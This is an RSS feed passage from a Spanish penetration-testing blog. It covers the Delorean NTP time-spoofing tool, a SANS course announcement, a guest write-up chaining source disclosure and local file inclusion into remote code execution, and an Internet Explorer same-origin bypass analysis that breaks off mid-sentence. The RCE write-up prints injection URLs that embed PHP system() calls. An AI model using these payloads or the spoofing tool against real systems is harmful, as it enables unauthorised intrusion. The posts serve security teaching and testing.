podemos configurar sus flags para hacer que funcione de una manera diferente a como lo haría un servidor NTP tradicional. Básicamente, podemos configurarlo para que mande respuestas manipuladas, de forma similar a como hace el módulo de Metasploit fakedns.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;i&gt;$ ./delorean.py -h&lt;br /&gt;Usage: delorean.py [options]&lt;br /&gt;&lt;br /&gt;Options:&lt;br /&gt;  -h, --help            show this help message and exit&lt;br /&gt;  -i INTERFACE, --interface=INTERFACE&amp;nbsp;Listening interface&lt;br /&gt;  -p PORT, --port=PORT  Listening port&lt;br /&gt;  -n, --nobanner        Not show Delorean banner&lt;br /&gt;  -s STEP, --force-step=STEP&amp;nbsp;Force the time step: 3m (minutes), 4d (days), 1M&amp;nbsp;(month)&lt;br /&gt;  -d DATE, --force-date=DATE&amp;nbsp;Force the date: YYYY-MM-DD hh:mm[:ss]&lt;br /&gt;-x, --random-date     Use random date each time&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Tenemos los típicos flags para el interface (-i) y puerto (-p), que nos ayudarán a poner a la escucha el servicio exactamente donde queramos. El flag -n simplemente esconde el Delorean ASCII del banner :)&lt;/div&gt;&lt;div&gt;&lt;div style=&quot;font-family: Menlo; font-size: 12px; line-height: normal;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;_._ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div style=&quot;font-family: Menlo; font-size: 12px; line-height: normal;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; _.-=&quot;_- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; _&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div style=&quot;font-family: Menlo; font-size: 12px; line-height: normal;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; _.-=&quot; &amp;nbsp; _-&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | ||&quot;&quot;&quot;&quot;&quot;&quot;&quot;---._______ &amp;nbsp; &amp;nbsp; __.. &amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div style=&quot;font-family: Menlo; font-size: 12px; line-height: normal;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ___.===&quot;&quot;&quot;&quot;-.______-,,,,,,,,,,,,`-&#39;&#39;----&quot; &quot;&quot;&quot;&quot;&quot; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;&quot;&quot;&amp;nbsp; __&#39;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div style=&quot;font-family: Menlo; font-size: 12px; line-height: normal;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; __.--&quot;&quot; &amp;nbsp; &amp;nbsp; __&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ,&#39; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; o \ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; __&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; [__|&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div style=&quot;font-family: Menlo; font-size: 12px; line-height: normal;&quot;&gt;&amp;nbsp; __-&quot;&quot;=======.--&quot;&quot;&amp;nbsp; &quot;&quot;--.=================================.--&quot;&quot;&amp;nbsp; &quot;&quot;--.=======: &amp;nbsp;&lt;/div&gt;&lt;div style=&quot;font-family: Menlo; font-size: 12px; line-height: normal;&quot;&gt;&amp;nbsp;] &amp;nbsp; &amp;nbsp; &amp;nbsp; [w] : /&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; \ : |========================|&amp;nbsp; &amp;nbsp; : /&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; \ :&amp;nbsp; [w] : &amp;nbsp;&lt;/div&gt;&lt;div style=&quot;font-family: Menlo; font-size: 12px; line-height: normal;&quot;&gt;&amp;nbsp;V___________:|&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |: |========================|&amp;nbsp; &amp;nbsp; :|&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |: &amp;nbsp; _-&quot;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div style=&quot;font-family: Menlo; font-size: 12px; line-height: normal;&quot;&gt;&amp;nbsp; V__________: \&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; / :_|=======================/_____: \&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; / :__-&quot; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;font-family: Menlo; font-size: 12px; line-height: normal;&quot;&gt;&amp;nbsp; -----------&#39;&amp;nbsp; &quot;&quot;____&quot;&quot;&amp;nbsp; `-------------------------------&#39;&amp;nbsp; &quot;&quot;____&quot;&quot; &amp;nbsp;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Podemos user Delorean de varias formas, pero vamos a centrarnos en las más útiles. Hay algunas ataques que han resultado no ser muy interesantes después de desarrollarlos, pero todavía están implementados. Quizá los acabe quitando en el futuro, ya que requieren algunas dependencias como scapy que de otro modo podríamos ahorrarnos.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;Todavía es pronto para hablar de como sincronizan los sistemas operativos, así que de momento probaremos Delorean utilizando la herramienta &quot;ntpdate&quot;:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;$ ntpdate -q 192.168.1.2&lt;br /&gt;server 192.168.1.2, stratum 2, &lt;b&gt;offset 97372804.086845&lt;/b&gt;, delay 0.02699&lt;br /&gt;20 Oct 06:05:45 ntpdate[881]: step time server 192.168.1.2 offset &lt;b&gt;97372804.086845 sec&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Por defecto (sin flags), Delorean responde con una fecha en la que coincida el mismo día del mes y de la semana que hoy, pero al menos 1000 días en el futuro. Esto es debido a que era útil para los ataques contra HSTS, tal y como veremos en próximos artículos.&lt;/div&gt;&lt;br /&gt;&lt;i&gt;# ./delorean.py -n &lt;br /&gt;[19:44:42] Sent to 192.168.10.113:123 - Going to the future! 2018-08-31 19:44 &lt;br /&gt;[19:45:18] Sent to 192.168.10.113:123 - Going to the future! 2018-08-31 19:45&lt;/i&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Podemos configurar un salto relativo desde la fecha actual usando el flag &quot;step&quot; (-s). Los saltos relativos pueden ser definidos como 10d (diez días en el futuro), -2y (dos años en el pasado), etc:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;i&gt;# ./delorean.py -s 10d -n &lt;br /&gt;[19:46:09] Sent to 192.168.10.113:123 - Going to the future! 2015-08-10 19:46 &lt;br /&gt;[19:47:19] Sent to 192.168.10.113:123 - Going to the future! 2015-08-10 19:47&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;También podemos configurar una fecha específica, y Delorean responderá siempre con la misma fecha:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;# ./delorean.py -d ‘2020-08-01 21:15’ -n &lt;br /&gt;[19:49:50] Sent to 127.0.0.1:48473 - Going to the future! 2020-08-01 21:15 &lt;br /&gt;[19:50:10] Sent to 127.0.0.1:52406 - Going to the future! 2020-08-01 21:15&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Hay otro ataque llamado &quot;Skimming Attack&quot; que puede ser utilized en ciertas configuraciones, pero lo veremos en profundidad cuando hablamos sobre como los sistemas operativos de Microsoft sincronizan, aunque también podrían resultar útiles en ciertas configuraciones de otras plataformas.&lt;/div&gt;</description><link>http://www.pentester.es/2015/10/delorean.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-qA7E1W67oYE/ViXANGfHTOI/AAAAAAAACAE/OvL29xDa95s/s72-c/back-to-the-future-2015.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-8402939171547523271</guid><pubDate>Tue, 08 Sep 2015 17:45:00 +0000</pubDate><atom:updated>2015-09-08T19:45:00.875+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SANS</category><title>SANS SEC-660: &quot;Advanced Penetration Testing, Exploit Writing and Ethical Hacking&quot; en Madrid</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Como probablemente sepáis, he estado bastante involucrado con el SANS Institute desde 2010, cuando fui por primera vez Mentor Actualmente soy Community Instructor del SANS y he estado impartiendo el curso SEC-560 &quot;Network Penetration Testing, Exploits and Ethical Hacking&quot; varias veces en España.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-tGCYpVV5qc4/Ve8cB7z9p6I/AAAAAAAAB-Y/5ieZN_jsBwM/s1600/ddc548f37f7d20dcf1e034f08a1c01b6_400x400.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em; text-align: justify;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;http://2.bp.blogspot.com/-tGCYpVV5qc4/Ve8cB7z9p6I/AAAAAAAAB-Y/5ieZN_jsBwM/s200/ddc548f37f7d20dcf1e034f08a1c01b6_400x400.jpeg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;El próximo Noviembre, en Madrid (España), tendrás la oportunidad de dar un paso adelante en tus habilidades como Penetration Tester con campos y técnicas no cubiertas en el SEC-560. Tal y como se puede leer en la web del SANS: &lt;b&gt;SEC-660 &quot;Advanced Penetration Testing, Exploit Writing and Ethical Hacking&quot;&lt;/b&gt; es un curso diseñado como progresión lógica para aquellos alumnos que cursaron el SEC-560, o para aquellas personas que ya cuentan con experiencia realizando Penetration Testing. Los temas que se cubren incluyen ataques contra control de acceso a la red (NAC), manipulación de VLANs, escape de entornos restringidos en Windows y Linux (estilo kiosco), ataques criptográficos, fuzzing, escritura de exploits y evasión de las protecciones más comunes de los sistemas operativos como ASLR, DEP, Canaries, etc, y mucho más.&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;A pesar de no ser un curso enfocado exclusivamente al desarrollo de exploits como lo es el SEC-760, la parte de exploiting del SEC-660 (dos días completos) is una aproximación perfecta para aquellos Pentesters que quieran una visión en profundidad de como los procesos y la memoria son manejadas en Windows y Linux, y como explotar algunos fallos habituales, lo cual puede resultar muy útil cuando no hay un exploit público disponible o cuando éste no funciona en tu entorno específico.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Además, incluso estando acostumbrado al &quot;estilo SANS&quot;, el SEC-660 es uno de los cursos con más prácticas y ejercicios que he visto. Hay docenas de ejercicios basados en situaciones de la vida real que podríamos encontrarnos en cualquiera de los próximos pentests que hagamos.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;¿Interesado? Reservate las siguientes fechas: &lt;b&gt;2-7 de Noviembre en Madrid&lt;/b&gt;. Solo necesitas ponerme un correo a jselvi{-at-}pentester.es y poner en copia a sans{-at-}one-esecurity.com , y nosotros te explicaremos como se tiene que proceder. Recuerda que todo el &lt;b&gt;material del curso se encuentra en Inglés, pero las clases serán impartidas en Español&lt;/b&gt;.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;strike&gt;¿Bailamos&lt;/strike&gt;&amp;nbsp;&quot;Pentesteamos&quot;?&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Más información sobre el SEC-660 &lt;a href=&quot;http://www.sans.org/course/advanced-penetration-testing-exploits-ethical-hacking&quot; target=&quot;_blank&quot;&gt;AQUÍ&lt;/a&gt;.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Más información sobre otros cursos y precios &lt;a href=&quot;http://one-esecurity.com/es/SANS/Calendario_2015.php&quot; target=&quot;_blank&quot;&gt;AQUÍ&lt;/a&gt;.&lt;/div&gt;</description><link>http://www.pentester.es/2015/09/sec660-madrid2015.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-tGCYpVV5qc4/Ve8cB7z9p6I/AAAAAAAAB-Y/5ieZN_jsBwM/s72-c/ddc548f37f7d20dcf1e034f08a1c01b6_400x400.jpeg" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-7658505807071046517</guid><pubDate>Fri, 20 Feb 2015 09:30:00 +0000</pubDate><atom:updated>2015-02-20T10:30:01.552+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SeguridadWEB</category><title>De Case-Insensitive a RCE</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Este post ha sido escrito por &lt;b&gt;The DarkRaver,&amp;nbsp;&lt;/b&gt;un buen amigo y uno de los profesionales de la seguridad más capaces que he conocido jamás. También es conocido por haber publicado herramientas como dirb o sqlibf que recomiendo que probéis.&lt;br /&gt;&lt;br /&gt;Vayamos con su post:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;------------------------------------------------------&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;Hace algún tiempo estaba haciendo un test de intrusión a una webapp cuando encontré algo realmente interesante. La aplicación estaba programada en PHP pero contenía algunos componentes comerciales. Pronto encontré muchos formularios vulnerables a XSS y SQLi, pero no nos vamos a centrar en eso en este post.&lt;br /&gt;&lt;br /&gt;De repente me di cuenta que solicitando la misma página en mayúsculas o en minúsculas la respuesta que obtenía era diferente. El servidor web estaba basado en Apache y Linux (&lt;i&gt;case sensitive&lt;/i&gt;) mientras que los ficheros parecían estar en un sistema de ficheros &lt;i&gt;case insensitive&lt;/i&gt; (¿quizá una carpeta compartida en una NAS?), así que cuando solicitaba page.php me respondía como es de esperar, pero cuando solicitaba page.PHP se mostraba el código fuente de la página.&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-Zxh1YsIX6X8/VObkt_5TY1I/AAAAAAAAB38/eJ5Au7TF184/s1600/sourcecode.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-Zxh1YsIX6X8/VObkt_5TY1I/AAAAAAAAB38/eJ5Au7TF184/s1600/sourcecode.png&quot; height=&quot;259&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Esta vulnerabilidad permitió revisar el código fuente de algunos de los componentes comerciales de la aplicación, donde encontré varias funciones potencialmente peligrosas como &quot;include()&quot; o &quot;include_once()&quot; que podrían ser vulnerables. No se encontraron otro tipo de funciones peligrosas como &quot;system()&quot;, &quot;open()&quot; o &quot;file_get_contents()&quot;.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;Unos pocos minutos después pude confirmar que al menos uno de esos &quot;include_once()&quot; era vulnerable a LFI y completamente explotable. Sin embargo, solo podíamos cargar ficheros con extensión .js (JavasScript).&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-A9_j9SuQ_tQ/VObmDYge2CI/AAAAAAAAB4I/fjV1AxkRKMw/s1600/vuln.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-A9_j9SuQ_tQ/VObmDYge2CI/AAAAAAAAB4I/fjV1AxkRKMw/s1600/vuln.png&quot; height=&quot;164&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Intenté evadir esta protección empleando el caracter nulo, paths largos, etc, pero nada parecía funcionar. Así que... estamos atados a esta extensión ¿Cómo podríamos subir or crear un fichero .js local?&lt;br /&gt;&lt;br /&gt;Los formularios para subir ficheros no permitían esta extensión, así que no era capaz de crear ficheros en el servidor ¿O quizá sí? ¿Qué hay de este trozo de código?&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-7ACVdyBid98/VObn2C-AfbI/AAAAAAAAB4U/0f8Y_5rmRuA/s1600/pieceofcode.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-7ACVdyBid98/VObn2C-AfbI/AAAAAAAAB4U/0f8Y_5rmRuA/s1600/pieceofcode.png&quot; height=&quot;158&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;¡Era una funcionalidad que permitía cachear ficheros JavaScript en disco! Pero... ¿Cómo podríamos injectar contenido en esos ficheros?&lt;br /&gt;&lt;br /&gt;Un vistazo más en profundidad mostró que algunos ficheros eran generados a partir de una plantilla, y una de ellas incluía algunos parámetros controlados por el usuario ¡Genial!&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-znUwWd0Dvc0/VObpHDHvFGI/AAAAAAAAB4g/Gox9PnenyHo/s1600/patterns.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-znUwWd0Dvc0/VObpHDHvFGI/AAAAAAAAB4g/Gox9PnenyHo/s1600/patterns.png&quot; height=&quot;148&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Aún mejor, el parámetro injectable era el mismo que era vulnerable a LFI, así que solo tuvimos que encontrar una manera de explotar ambas vulnerabilidades al mismo tiempo.&lt;br /&gt;&lt;br /&gt;Los ficheros JavaScript estaban almacenados en un path del estilo &quot;/cache/&quot;.&lt;b&gt;$offv&lt;/b&gt;.$theme.$lang.$type.$name.&quot;.js&quot; , donde $offv era el parámetro proporcionado por el usuario y el resto podían ser facilmente deducibles mirando el código fuente, con lo que el exploit quedaría de la siguiente manera:&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;b&gt;http://www.app.com/plugin/minjs.php?&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;b&gt;offending_var=../../cache/&amp;lt;?phpinfo();?&amp;gt;defaultes-lacoredefault&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;Sin embargo, me encontré con un &quot;500 - Internal Server Error&quot; ¿¿Qué demonios?? Algo estaba fallando de forma terrible ¿Cómo podríamos arreglarlo? Probé otras funciones PHP como &quot;system()&quot; &quot;file_get_contents()&quot; y &quot;phpversion()&quot; pero la mayoría de ellas fallaban de la misma forma.&lt;br /&gt;&lt;br /&gt;Espera... quizá el exploit está funcionando pero la aplicación falla en algún otro punto posterior ¿Qué tal su probamos a incluir un &quot;exit()&quot;?&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;http://www.app.com/plugin/minjs.php?&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;offending_var=../../cache/&amp;lt;?system(“id”);exit();?&amp;gt;defaultes-lacoredefault&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-UMTDrLoxevo/VObtw2lLb4I/AAAAAAAAB4s/q1v8LK3xhBg/s1600/pwned.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-UMTDrLoxevo/VObtw2lLb4I/AAAAAAAAB4s/q1v8LK3xhBg/s1600/pwned.png&quot; height=&quot;296&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;¡Bingo! Finalmente conseguí la ejecución remota de código en el servidor, y todo empetho con una pequeña vulnerabilidad que permitía visualizar el código fuente causado por un sistema de ficheros &lt;i&gt;case-insensitive&lt;/i&gt;. Las cosas pequeñas a veces causan grandes problemas.&lt;/div&gt;</description><link>http://www.pentester.es/2015/02/from-case-insensitive-to-rce.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-Zxh1YsIX6X8/VObkt_5TY1I/AAAAAAAAB38/eJ5Au7TF184/s72-c/sourcecode.png" height="72" width="72"/><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-2822437450887724067</guid><pubDate>Thu, 05 Feb 2015 15:51:00 +0000</pubDate><atom:updated>2015-02-20T08:26:23.797+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SeguridadNavegador</category><category domain="http://www.blogger.com/atom/ns#">SeguridadWEB</category><title>An IE Same Origin Policy Bypass story</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Hace un par de días estaba leyendo mis feeds cuando de repente un titular llamó mi atención: &quot;&lt;b&gt;Seria vulnerabilidad en Internet Explorer totalmente parcheado expone las credenciales de los usuarios&lt;/b&gt;&quot;. Una técnica de evasión para el same-origin-policy de Internet Explorer había visto la luz. Este tipo de vulnerabilidades son muy críticas, ya que SOP proporciona la separación entre los diferentes sitios web dentro de nuestros navegadores, y evita que una web maliciosa pueda acceder o modificar contenido de otra web legítima.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Le he estado pegando un vistazo a la vulnerabilidad en las últimas horas y vaya si funciona. La &lt;a href=&quot;http://www.deusen.co.uk/items/insider3show.3362009741042107/&quot; target=&quot;_blank&quot;&gt;PoC publicada&lt;/a&gt; funciona perfectamente pero quizá no es la proximación más práctica (real) que un atacante tomaría. Por lo que sé, no se han publicado más detalles sobre la vulnerabilidad aparte de la propia PoC, así que vamos a pegarle un vistazo al PoC. He preparado mi propia prueba de concepto simplemente para ver si era capaz de explotarla de una forma más &quot;maléfica&quot;.&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-xHxcxw5KF30/VNOCf48h4sI/AAAAAAAAB2k/S3-a9a4d4NI/s1600/Exploit.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-xHxcxw5KF30/VNOCf48h4sI/AAAAAAAAB2k/S3-a9a4d4NI/s1600/Exploit.png&quot; height=&quot;243&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;A primera vista la vulnerabilidad parece una condición de carrera o similar. Tenemos dos iframes, el primero de ellos carga una página dinámica, por ejemplo 1.php. No se ha publicado el código de esta página, pero básicamente espera durante unos pocos segundos y luego redirige a la misma URL que carga el segundo iframe.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Ambos iframes cargan una página en el website victima. Es importante encontrar una página que puede ser cargada dentro de un iframe, porque si no la vulnerabilidad no se puede explotar. Proveedores como Google, Facebook, etc, normalmente configuran sus sitios con la cabeceza &quot;&lt;b&gt;X-Frame-Options&lt;/b&gt;&quot; para evitar &lt;a href=&quot;https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet&quot; target=&quot;_blank&quot;&gt;ataques de ClickJacking&lt;/a&gt;, lo cual podría ser un problema.&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-vGz5vEzcIpE/VNOD5y2XfvI/AAAAAAAAB2w/KQhrPUAM5aU/s1600/XFrameOptions.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/-vGz5vEzcIpE/VNOD5y2XfvI/AAAAAAAAB2w/KQhrPUAM5aU/s1600/XFrameOptions.png&quot; height=&quot;366&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Sin embargo, con encontrar una sola página en todo el dominio que no tenga la cabecera &quot;X-Frame-Options&quot; es suficiente, y eso no es tan dificil como parece. Hay dos recursos bien conocidos que no están protegidos en la mayoría de los sitios web: robots.txt (el que usa el autor original) y &lt;b&gt;favicon.ico&lt;/b&gt; (el que uso yo para un ataque un poco más práctico).&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Hay una función llamada &quot;&lt;b&gt;go()&lt;/b&gt;&quot; que hace la verdadera explotación. Es dificil de leer así que permitidme que lo decodifique para vosotros.&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-4TUv_LeJLts/VNOG3Cceb-I/AAAAAAAAB28/fzGyZc0JpCg/s1600/Payload.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-4TUv_LeJLts/VNOG3Cceb-I/AAAAAAAAB28/fzGyZc0JpCg/s1600/Payload.png&quot; height=&quot;124&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Aquí es donde está la chicha. Hay algunas llamadas a &quot;&lt;b&gt;alert&lt;/b&gt;&quot; y &quot;&lt;b&gt;eval&lt;/b&gt;&quot; que parecen ser importantes. No he podido averiguar por qué pero si las cambias no funcionan. Esta parte es la más compleja de la vulnerabilidad.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Carga el segundo iframe del que hablabamos antes en la variable 